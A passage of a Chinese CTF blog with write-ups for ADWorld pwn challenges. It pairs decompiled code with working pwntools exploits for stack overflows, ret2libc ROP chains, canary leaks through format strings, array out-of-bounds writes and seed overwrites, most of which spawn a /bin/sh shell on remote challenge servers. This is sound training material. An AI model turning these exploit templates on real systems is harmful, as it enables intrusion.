ADWorld_PWN (updating..)

前言

话说前几天18级re选手被张老师公开批斗…

嗯…从今天起每天一道题尽量抽出时间多做做题。

那么好,就从pwn的高手进阶区开始!


0x00 level3

本来是一个新手区的题,但我发现这题没做,其实不难,只是记录一下在已给libc的情况下exp的规范写法

程序代码:

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}

跟进vulnerable_function()函数

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}

经典read、write搭配,并且存在栈溢出。

思路是通过泄露write函数的地址,确定libc基址,从而得到system和/bin/sh地址。利用栈溢出get shell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
p=remote('220.249.52.133',37688)
elf=ELF('./level3')
libc = ELF('./libc_32.so.6')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']
p.recvuntil(":\n")
payload=0x88*'a'+'a'*4+p32(0x8048340)+p32(main_addr)+p32(1)+p32(write_got)+
p32(4)#利用write函数输出write真实地址,并再次进入main函数
p.sendline(payload)
write_got_addr=u32(p.recv())
print hex(write_got_addr)
libc_base=write_got_addr-libc.sym['write']
print hex(libc_base)
system_addr = libc_base+libc.sym['system']
print hex(system_addr)
bin_sh_addr = libc_base + 0x15902b
#strings -a -t x libc_32.so.6 | grep "/bin/sh"
print hex(bin_sh_addr)
payload2=0x88*'a'+p32(0)+p32(system_addr)+p32(0)+p32(bin_sh_addr)
p.recvuntil(":\n")
p.sendline(payload2)
p.interactive()

进阶分割线

烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫

0x01 pwn-100

  • 泄露libc地址的经典题型,可以拿来作此类题型模板

checksec一下查看保护

image-20200602195417079

拖入IDA

跟进主函数

程序很简单

1
2
3
4
5
6
7
int sub_40068E()
{
char v1; // [rsp+0h] [rbp-40h]

sub_40063D((__int64)&v1, 200);
return puts("bye~");
}

跟进关键函数sub_40063D((__int64)&v1, 200):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall sub_40063D(__int64 a1, signed int a2)
{
__int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
result = i;
if ( (signed int)i >= a2 )
break;
read(0, (void *)((signed int)i + a1), 1uLL);
}
return result;
}

函数逻辑很简单,连续输入200次,然后输出bye~

不同于新手区,现在的题里面已经没有现成的 system ,也没有/bin/sh 字符串,也没有提供 libc.so 给我们,那么我们要做的就是想办法泄露 libc 地址,拿到 system 函数和/bin/sh 字符串,这题呢,我们可以利用 put 来泄露 read 函数的地址,然后再利用 LibcSearcher 查询可能的 libc。

v1只有0x40,而read指定输入大小200,因此利用栈溢出漏洞即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#coding:utf8
from pwn import *
from LibcSearcher import *
elf = ELF('./100')
#x86都是靠栈来传递参数的而x64换了它顺序是rdi, rsi, rdx, rcx, r8, r9,如果多于6个参数才会用栈
readgot = elf.got['read']
putaddr = elf.sym['puts']
mainaddr = 0x4006B8
#pop rdi 的地址
poprdi = 0x400763
#ROPgadget --binary 100 --only 'pop|ret'
sh = process('./100')
#sh = remote('124.126.19.106',59722)
#这个payload用于泄露 read 位于 libc 的地址
#pop rdi将 read 的地址加载到 rdi 中,用于传给 put 输出显示
#mainaddr 为覆盖 rip,这样我们又可以重新执行 main 函数了
payload = 'a'*0x48 + p64(poprdi) + p64(readgot) + p64(putaddr) + p64(mainaddr)
payload = payload.ljust(200,'A')
sh.send(payload)
sh.recvuntil('bye~\n')
#注意,这步重要,必须要去掉末尾的\n 符号,凑够8位
s = sh.recv().split('\n')[0].ljust(8,'\x00')
#得到 read 的地址
addr = u64(s)
print hex(addr)
#libc 数据库查询
obj = LibcSearcher("read",addr)
#得到 libc 加载地址
libc_base = addr - obj.dump('read')
#获得 system 地址
system_addr = obj.dump("system") + libc_base
#获得/bin/sh 地址
binsh_addr = obj.dump("str_bin_sh") + libc_base
print hex(system_addr)
print hex(binsh_addr)
payload = 'a'*0x48 + p64(poprdi) + p64(binsh_addr) + p64(system_addr)
payload = payload.ljust(200,'B')
sh.send(payload)
sh.interactive()

附上大佬的关于64位程序libc泄露的问题讲解,好好学,好好看 (。・・)ノ


0x02 dice_game

  • 此题可以作为srand伪随机数的经典题型

走下形式,checksec

image-20200602204919921

No canary ,难道又有心爱的栈溢出?

接着看

拖入IDA,F5,分析程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[55]; // [rsp+0h] [rbp-50h]
char v5; // [rsp+37h] [rbp-19h]
ssize_t v6; // [rsp+38h] [rbp-18h]
unsigned int seed[2]; // [rsp+40h] [rbp-10h]
unsigned int v8; // [rsp+4Ch] [rbp-4h]

memset(buf, 0, 0x30uLL);
*(_QWORD *)seed = time(0LL);
printf("Welcome, let me know your name: ", a2);
fflush(stdout);
v6 = read(0, buf, 0x50uLL);
if ( v6 <= 49 )
buf[v6 - 1] = 0;
printf("Hi, %s. Let's play a game.\n", buf);
fflush(stdout);
srand(seed[0]);
v8 = 1;
v5 = 0;
while ( 1 )
{
printf("Game %d/50\n", v8);
v5 = sub_A20();
fflush(stdout);
if ( v5 != 1 )
break;
if ( v8 == 50 )
{
sub_B28((__int64)buf);
break;
}
++v8;
}
puts("Bye bye!");
return 0LL;
}

看到srand(seed),套路应该清楚了,继续跟进sub_A20()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
signed __int64 sub_A20()
{
signed __int64 result; // rax
__int16 v1; // [rsp+Ch] [rbp-4h]
__int16 v2; // [rsp+Eh] [rbp-2h]

printf("Give me the point(1~6): ");
fflush(stdout);
_isoc99_scanf("%hd", &v1);
if ( v1 > 0 && v1 <= 6 )
{
v2 = rand() % 6 + 1;
if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )
_assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");
if ( v1 == v2 )
{
puts("You win.");
result = 1LL;
}
else
{
puts("You lost.");
result = 0LL;
}
}
else
{
puts("Invalid value!");
result = 0LL;
}
return result;
}

大体思路是,连续输入50次,程序会产生50个随机数,如果50次都猜中,那么You, win.

那么如果能控制seed为一个固定值,我们就可以知道它的固定序列,即可以在输入name的时

候,让输入的数据覆盖srand函数内部的随机数种子,就可以控制随机数的生成。

观察一下栈情况

image-20200602205555989

随机数种子的地址和输入名字的buf的地址之间相差0x40,在加上4个字节覆盖srand的随机数种子,妙啊~

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#conding=utf-8 
from pwn import *
from ctypes import *
context.log_level = 'debug'
z = remote('124.126.19.106',37861)
#z = process('./game')
payload = 'a' * 0x40 + 'a' * 4
z.recvuntil("Welcome, let me know your name: ")
z.sendline(payload)
libc = cdll.LoadLibrary("libc.so.6")
libc.srand(0x61616161)
for i in range(50):
z.recvuntil("Give me the point(1~6):")
num = (libc.rand() % 6 + 1)
z.sendline(str(num))
print(libc.rand()%6+1)
z.interactive()

这里有两个需要注意的点:

除了以上两点,还有两点是:

  1. ctypes模块:ctypes是python下的一个可以链接c/c++的一个库。

    可以将C函数编译成动态链接库, 即window下的.dll文件或者是linux下的.so文件.

    可以调用c/c++,做一些python不能做的事情。例如对硬件操作,快速计算,操作内存。

    官方文档定义为:ctypes is a foreign function library for Python. It provides C compatible data types, and allows calling functions in DLLs or shared libraries. It can be used to wrap these libraries in pure Python.

  2. 重大发现:

    既然已经控制随机种子,那么可以试试手动拿旗,用C++列出它的伪随机序列

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    #include<stdlib.h>
    #include<iostream>
    using namespace std;
    int main()
    {
    int ran_num;
    srand(0x61616161);
    for(int i=0;i<50;i++)
    {
    ran_num=rand() % 6+1;
    cout<<ran_num<<" ";
    }
    return 0;
    }

    但是,结果和debug中显示的序列完全不同,反复实验多次,最后Google了解到,由于Windows和Linux平台下该函数的实现方法不同,因此获得的结果也不同,实际上,不同平台之间,只是都能保证随机序列在0到RAND_MAX之间,其他的都是平台各自具体的实现方法。实操结果如下(Ubuntu上显示的为该程序的序列)


最终结果如下:

其实有点像新手区的猜数字游戏的题目🤖


0x03 forgot

现在开始已经不按照顺序做了(挑简单的做)

而且pwn的更新只能随缘,,看我能做出来几个题了

上题:./forgot

image-20200617183841719

32位,没啥保护

IDA查看代码:

很长,且函数很多,我尽量加一些注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
int __cdecl main()
{
size_t v0; // ebx
char v2[32]; // [esp+10h] [ebp-74h]
int (*v3)(); // [esp+30h] [ebp-54h]
int (*v4)(); // [esp+34h] [ebp-50h]
int (*v5)(); // [esp+38h] [ebp-4Ch]
int (*v6)(); // [esp+3Ch] [ebp-48h]
int (*v7)(); // [esp+40h] [ebp-44h]
int (*v8)(); // [esp+44h] [ebp-40h]
int (*v9)(); // [esp+48h] [ebp-3Ch]
int (*v10)(); // [esp+4Ch] [ebp-38h]
int (*v11)(); // [esp+50h] [ebp-34h]
int (*v12)(); // [esp+54h] [ebp-30h]
char s; // [esp+58h] [ebp-2Ch]
int v14; // [esp+78h] [ebp-Ch]
size_t i; // [esp+7Ch] [ebp-8h]

v14 = 1;
v3 = sub_8048604;//return puts("...Where are the fancy @ and [dot], huh?");
v4 = sub_8048618;//return puts("This all you got? I don't even see an @!");
v5 = sub_804862C;//return puts("Are you hungry?
v6 = sub_8048640;//return puts("Seems like you work a lot on your localhost...)
v7 = sub_8048654;//return puts("Sentences end with a [dot], not domains chu!")
v8 = sub_8048668;//以下类似,都是一些报错函数
v9 = sub_804867C;
v10 = sub_8048690;
v11 = sub_80486A4;
v12 = sub_80486B8;
puts("What is your name?");
printf("> ");
fflush(stdout);
fgets(&s, 32, stdin);//输入姓名
sub_80485DD((int)&s);
fflush(stdout);
printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);
fflush(stdout);
puts("Enter the string to be validate");
printf("> ");
fflush(stdout);
__isoc99_scanf("%s", v2);//输入字符串
for ( i = 0; ; ++i )//验证字符串
{
v0 = i;
if ( v0 >= strlen(v2) )
break;
switch ( v14 )
{
case 1:
if ( sub_8048702(v2[i]) )// return a1 > 96 && a1 <= 122 || a1 > 47 && a1 <= 57 || a1 == 95 || a1 == 45 || a1 == 43 || a1 == 46;
v14 = 2;
break;
case 2:
if ( v2[i] == 64 )
v14 = 3;
break;
case 3:
if ( sub_804874C(v2[i]) )
v14 = 4;
break;
case 4:
if ( v2[i] == 46 )
v14 = 5;
break;
case 5:
if ( sub_8048784(v2[i]) )
v14 = 6;
break;
case 6:
if ( sub_8048784(v2[i]) )
v14 = 7;
break;
case 7:
if ( sub_8048784(v2[i]) )
v14 = 8;
break;
case 8:
if ( sub_8048784(v2[i]) )
v14 = 9;
break;
case 9:
v14 = 10;
break;
default:
continue;
}
}
(*(&v3 + --v14))();//跳出switch,运行V3指针偏移--v14处的函数
return fflush(stdout);
}

查找字符串找到函数 sub_80486CC内部就有着输出 flag 内容的命令,由此可以得知,我们的目标就是将其调用

可以看到 scanf 的调用将输入作为字符串读入到 v2 变量中,但它并没有限定读入的长度,而 v2 作为缓冲区,大小仅有 32 个字节,所以可知这里存在着 bof 漏洞,而紧随 v2 之后的就是我们用来保存函数地址的 v3

所以通过scanf函数溢出修改v3指向为sub_80486CC

同时要使v14的值保持为1,即跳出switch判断,根据代码,只要输入任意大写字母即可

查看栈情况,v2与v3相差32位

所以exp

exp

1
2
3
4
5
6
7
8
9
10
from pwn import *
p=remote('220.249.52.133',31860)
#p = process('./forgot')
print p.recvuntil("> ")
p.sendline('f**k')
sys_address = 0x080486cc
payload='A'*32+p32(sys_address)
print p.recvuntil("> ")
p.sendline(payload)
p.interactive()

别看exp这么短,

一开始没找到什么漏洞,害我分析了半天╥﹏╥…

害,代码长对分析干扰太大,,搞不动了,,

image-20200617204121457


0x04 Mary_Morton

总算做到canary的题了,不过思路还不算难

image-20200622003103341

拖入IDA,主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+24h] [rbp-Ch]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
sub_4009FF();
puts("Welcome to the battle ! ");
puts("[Great Fairy] level pwned ");
puts("Select your weapon ");
while ( 1 )
{
while ( 1 )
{
sub_4009DA();
__isoc99_scanf("%d", &v3);
if ( v3 != 2 )
break;
sub_4008EB();
}
if ( v3 == 3 )
{
puts("Bye ");
exit(0);
}
if ( v3 == 1 )
sub_400960();
else
puts("Wrong!");
}
}

程序告诉你,一个栈溢出漏洞,一个格式化字符串漏洞

分别跟进

栈溢出漏洞:

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 sub_400960()
{
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x100uLL);
printf("-> %s\n", &buf);
return __readfsqword(0x28u) ^ v2;
}

可以看出v2就是canary,最后和__readfsqword(0x28u)异或,只有相等时才会return 0,

buf大小为0x90,而我们可以输入0x100字符,所以造成栈溢出,但是rbp之上存在canary

所以要想办法通过canary检测,可以计算出两者在栈中相距0x90-0x8=0x88(十进制17)

通过格式化字符串漏洞泄露canary的值

格式化字符串漏洞:

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 sub_4008EB()
{
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x7FuLL);
printf(&buf, &buf);
return __readfsqword(0x28u) ^ v2;
}

image-20200622004206270

%p可以泄露十六位的地址

可以数到,我们输入后的偏移为6,

所以偏移量为17+6=23,

%23$p泄露canary的值

存在后门函数


exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#coding=utf-8
from pwn import *
#context.log_level = 'debug'
p = remote('220.249.52.133',59543)
p.recvuntil("Exit the battle")
p.sendline('2')#先进入格式化函数泄漏cannary
p.sendline("%23$p")#泄漏cannary
p.recvuntil("0x")
canary = int(p.recv(16),16)#接收16个字节
p.recvuntil("Exit the battle ")
payload = "a"*0x88 + p64(canary) + 0x8*"a" + p64(0x04008DA)
p.sendline(str(1))
p.sendline(payload)
p.interactive()

0x05 warmup

image-20200622144518295

没有附件我惊了,听学长说是黑盒测试

第一次做,在网上找了很久了,才找到了方法

先nc,看一下程序

image-20200622150035941

发现程序会给我们返回一个地址
猜测这个地址就是后门函数的地址
用到fuzz(模糊检测),我感觉就是爆破啊。。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
def fuzz(ip,port,padd_start,padd_end,addr):
for i in range(padd_start,padd_end):
try:
p = remote(ip,port)
p.recvuntil(">")
payload = 'a' * i + p32(addr)
print("32bit payload len =",i)
p.sendline(payload)
r = p.recv()
if "Warm Up" in r:
continue
print('recv::length='+ str(len(r)) + ',content='+ r)
p.close()
break
except Exception as e:
p.close()

try:
p = remote(ip,port)
p.recvuntil(">")
payload = 'a' * i + p64(addr)
print("64bit payload len =",i)
p.sendline(payload)
r = p.recv()
if "Warm Up" in r:
continue
print('recv: ' + r)
p.close()
break
except Exception as e:
p.close()

fuzz("220.249.52.133",31163,0,200,0x40060d)

学长说这题没意思,确实。。。

在看雪找到程序,确实也很简单

这个sub_40060D就是后门函数,所以简单的栈溢出就可以。

2020.6.25

来更新一下,之前试过的脚本,比较好理解一些,但是当时不会操作,现在回过头来记一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
#context.log_level = 'debug'
addr = 0x40060d

def fuzz(r, num, flag):
payload = 'a' * num
if flag==1:
payload += p32(addr)
if flag==2:
payload += p64(addr)
r.recvuntil(">")
r.sendline(payload)

def main():
for i in range(1000):
print(i)
for j in range(3):
try:
r = remote("220.249.52.133", 30958)
fuzz(r, i, j)
text = r.recv()
print('text.len='+str(len(text))+'text='+text)
print('num='+str(i)+' flag='+str(j))
r.interactive()
except:
r.close()

if __name__ == '__main__':
main()

看到运行结果,其实还是爆破,只是第一个脚本将“Warm Up”的条件过滤掉了

这题没有过滤条件,如果在其他地方暂停只需ctrl+c断开连接即可(图中的Interrupted)

image-20200625123447389

拿到flag!


0x06 stack2

好家伙,现在不管做什么题都能有惊天发现,说实话还是太菜了,没见过什么世面,来看看这个栈的题目吧

一个计算平均数的程序,32位,canary和NX打开,拖进IDA

image-20200724210755608

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h]
unsigned int v6; // [esp+1Ch] [ebp-8Ch]
int v7; // [esp+20h] [ebp-88h]
unsigned int j; // [esp+24h] [ebp-84h]
int v9; // [esp+28h] [ebp-80h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int l; // [esp+34h] [ebp-74h]
char v13[100]; // [esp+38h] [ebp-70h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]

v14 = __readgsdword(0x14u); //canary
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5); //输入数字的数量
puts("Give me your numbers");
for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);//输入数字,并存放在v13数组中
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);//输入选择项
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
v3 = j++; //j-1为已有数字的数量
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);//打印现有数字表
}
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;//本题的关键点在这,发现这里没有进行数组边界检查,存在数组越界漏洞。
//这代表着什么呢,这代表着我们可以修改数组以及数组后面的任何数据。
}
if ( v6 != 4 )
break;
v9 = 0;
for ( l = 0; l < j; ++l )
v9 += v13[l];
}
return 0;
}

程序浏览一遍没发现什么问题,甚至感觉写的不错,只是在换数字时存在一个小问题(数据越界漏洞)

所以思路是:利用这个漏洞将某函数返回地址改为system函数就可以了,这里只有main函数可以利用

而且IDA里还找到了system的身影,暗喜,难道真有这么简单????

image-20200724212107406

呵呵,不可能的接着看,

很好找到v13数组在栈中的位置:ebp-70h,按照常理,返回地址应该在ebp+4h的位置,所以偏移是0x74

呵呵,天真,2🐏2simple

这样的exp是跑不出来的,看了看别的师傅的wp,自己用gdb调试了一下,才清楚了程序的流程

正文开始:

首先,要找到输入的地址,打开汇编代码,找到scanf函数,分析一下它的逻辑

image-20200724213524913

然后在此处下断点,运行一下

image-20200724220036415

之前输入的’123’(0x7b)已经存放在ecx中,eax指向的地址为0xffffcef8

mov [eax],cl之后,可以看到0x7b被赋到eax所指地址处,即0xffffcef8即为输入的地址

再看返回地址在哪,定位到main函数最后,在retn处下断点,之前看过retn指令要做的就是pop eip

也就是说此时的栈顶即为返回地址,那么就要看一下esp的地址(并非esp指向的地址)

image-20200724220940140

esp内的地址正是下一条指令的地址,所以如果将system函数放在这个位置,程序结束后也就会跳转去执行system函数。

那么至此,就可以计算出输入的地址与返回地址的偏移量了0xffffcf7c-0xffffcef8=0x84

我以为结束了,但此时还有一个大坑,出题人这样说到:

image-20200724221437103

好吧,

image-20200724221610548

直接抠出sh字符串,地址:0x08048987


exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python
#coding:utf-8
from pwn import*
io = process('./stack')

sys_a = 0x080485B4
bin_a = 0x08048987
offset = 0x84

def expchange(addr,ass):
io.sendline('3')
io.recvuntil('change:')
io.sendline(str(addr))
io.recvuntil('number:')
io.sendline(str(ass))
io.recvuntil('exit')

io.recvuntil('have:')
io.sendline('1')
io.recvuntil('numbers')
io.sendline('123')
io.recvuntil('exit')

expchange(offset,0xB4)
expchange(offset+1,0x85)
expchange(offset+2,0x04)
expchange(offset+3,0x08)

offset+=4

expchange(offset,0x87)
expchange(offset+1,0x89)
expchange(offset+2,0x04)
expchange(offset+3,0x08)

io.sendline('5')
io.interactive()

哦对了,我比较好奇为什么这题的偏移和常规程序不一样呢,还要这么麻烦的调试

后来发现了一行很奇怪的代码

image-20200724221959223

函数结束时,他在leave和retn之间加了一行lea esp,[ecx-4]

看不懂,老办法调试,

image-20200724222603212

image-20200724222847054好家伙,原来esp的地址在这里就莫名其妙加了0x10,但具体这步是什么作用真的没看懂,若有幸这篇博客被大佬看到,希望大佬指点一下🦄


0x07 实时数据监测

看看题目描述:

小A在对某家医药工厂进行扫描的时候,发现了一个大型实时数据库系统。小A意识到实时数据库系统会采集并存储与工业流程相关的上千节点的数据,只要登录进去,就能拿到有价值的数据。小A在尝试登陆实时数据库系统的过程中,一直找不到修改登录系统key的方法,虽然她现在收集到了能够登陆进系统的key的值,但是只能想别的办法来登陆。

这一般人看题目,点都不敢点吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
int locker()
{
int result; // eax
char s; // [esp+0h] [ebp-208h]

fgets(&s, 512, stdin);
imagemagic(&s);//格式化字符串漏洞
if ( key == 0x2223322 )
result = system("/bin/sh");
else
result = printf(format, &key, key);
return result;
}

很简单只要让key=0x2223322就可以了

主要在此记录一下工具: fmtstr_payload(offset, writes, numbwritten=0, write_size=’byte’)

第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload

exp

1
2
3
4
5
6
7
8
from pwn import *
elf = ELF('./monitor')
#r = remote('220.249.52.133',43608)
r = process('./monitor')
context(log_level='debug',arch='i386',os='linux')
payload = fmtstr_payload(12,{0x804a048:0x02223322})
r.send(payload)
r.interactive()

另外,

常规方法如下:

通过format=”%x %$n”的组合向特定的内存地址写入数据

如:15x%12$n向esp+12处写入15

1
2
3
4
5
6
7
8
from pwn import *
elf = ELF('./monitor')
#r = remote('220.249.52.133',43608)
r = process('./monitor')
context(arch='i386',os='linux')
payload = '%35795746x' + '%16$n\x00'+p32(0x0804a048)
r.sendline(payload)
r.interactive()

0x08 pwn1

又一道巨坑题,攻防世界长点心吧,防止大家掉坑,这里先讲清楚,题目给的libc是错的…

花了3个金币看了wp才知道!我的天看了一晚上,一度怀疑之前学了假知识。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
char s; // [rsp+10h] [rbp-90h]
unsigned __int64 v6; // [rsp+98h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(&s, 0, 0x80uLL);
while ( 1 )
{
sub_4008B9();//显示选项界面
v3 = sub_400841();//输入选项
switch ( v3 )
{
case 2:
puts(&s);//如果是2,则输出s
break;
case 3:
return 0LL;//输入3,退出
case 1:
read(0, &s, 0x100uLL);//输入1,读取0x100
break;
default:
sub_400826("invalid choice");
break;
}
sub_400826((const char *)&unk_400AE7);
}
}

存在明显的栈溢出,由于有canary保护,所以第一次输入先泄露canary

第二次泄露libc基址,第三次get shell即可。

exp

由于题目提供的libc是错的,网上脚本大多是one_gadget

我就记一下老方法libcsearcher,当然one_gadget也很简单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
#libc = ELF("./libc-2.23.so")
elf = ELF("./babystack")
p = remote('220.249.52.133',55611)
#p = process("./babystack")

main_addr = 0x400908
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x0400a93

payload = 'a'*0x88
p.sendlineafter(">> ","1")
p.sendline(payload)
p.sendlineafter(">> ","2")
p.recvuntil('a'*0x88+'\n')
canary = u64(p.recv(7).rjust(8,'\x00'))
payload1 = 'a'*0x88+p64(canary)+'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.sendlineafter(">> ","1")
p.send(payload1)
p.sendlineafter(">> ","3")
#破坏栈后退出,重新进入主函数
puts_addr=u64(p.recv(8).ljust(8,'\x00'))

libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc.dump('system') + libc_base
binsh_addr = libc.dump('str_bin_sh') + libc_base
payload2 = 'a'*0x88+p64(canary)+'a'*8 + p64(pop_rdi) + p64(binsh_addr) + p64(sys_addr)

p.sendlineafter(">> ","1")
p.sendline(payload2)
p.sendlineafter(">> ","3")
p.interactive()

这题的难点就在于…给了一个假libc,用本地打不通,听说出题人给的环境似乎有问题,,,不管那么多了

反正不管system还是one_gadget都可以解决,

🆗


0x09 monkey

咋越做越不像pwn了呢

image-20200730181145819

要先了解JavaScript shell的命令

点击传送门

image-20200730182534313

结束..


0x0A pwn-200

阿西吧,好水…几乎和level3一样,

只用到了这一个read函数,简单栈溢出。

1
2
3
4
5
6
7
ssize_t sub_8048484()
{
char buf; // [esp+1Ch] [ebp-6Ch]

setbuf(stdin, &buf);
return read(0, &buf, 0x100u);
}

通过泄露write函数got,计算libc基址,然后rop getshell。

上exp(感觉写过好多类似的,没太有必要)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *
elf = ELF('./pwn200')
#sh = process('./pwn200')
sh = remote('220.249.52.133',54813)
context.log_level = 'debug'
write_got = elf.got['write']
write_plt = elf.plt['write']
main_addr = 0x080484BE
payload1 = 'a'*0x6C + 'a'*4 + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
sh.recvuntil('15~!\n')
sh.send(payload1)
write_addr = u32(sh.recv(4))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc.dump('system') + libc_base
binsh_addr = libc.dump('str_bin_sh') + libc_base
payload2 = 'a'*0x6C + 'a'*4 + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
sh.recvuntil('15~!')
sh.sendline(payload2)
sh.interactive()

0x0B time_formatter

第一道堆题

拿到菜单不要慌,仔细分析每个函数功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__gid_t v3; // eax
FILE *v4; // rdi
__int64 v5; // rdx
int v6; // eax

v3 = getegid();
setresgid(v3, v3, v3);
setbuf(stdout, 0LL);
puts("Welcome to Mary's Unix Time Formatter!");
do
{
while ( 2 )
{
puts("1) Set a time format.");
puts("2) Set a time.");
puts("3) Set a time zone.");
puts("4) Print your time.");
puts("5) Exit.");
__printf_chk(1LL, (__int64)"> ");
v4 = stdout;
fflush(stdout);
switch ( sub_400D26() )
{
case 1:
v6 = sub_400E00();
break;
case 2:
v6 = sub_400E63();
break;
case 3:
v6 = sub_400E43();
break;
case 4:
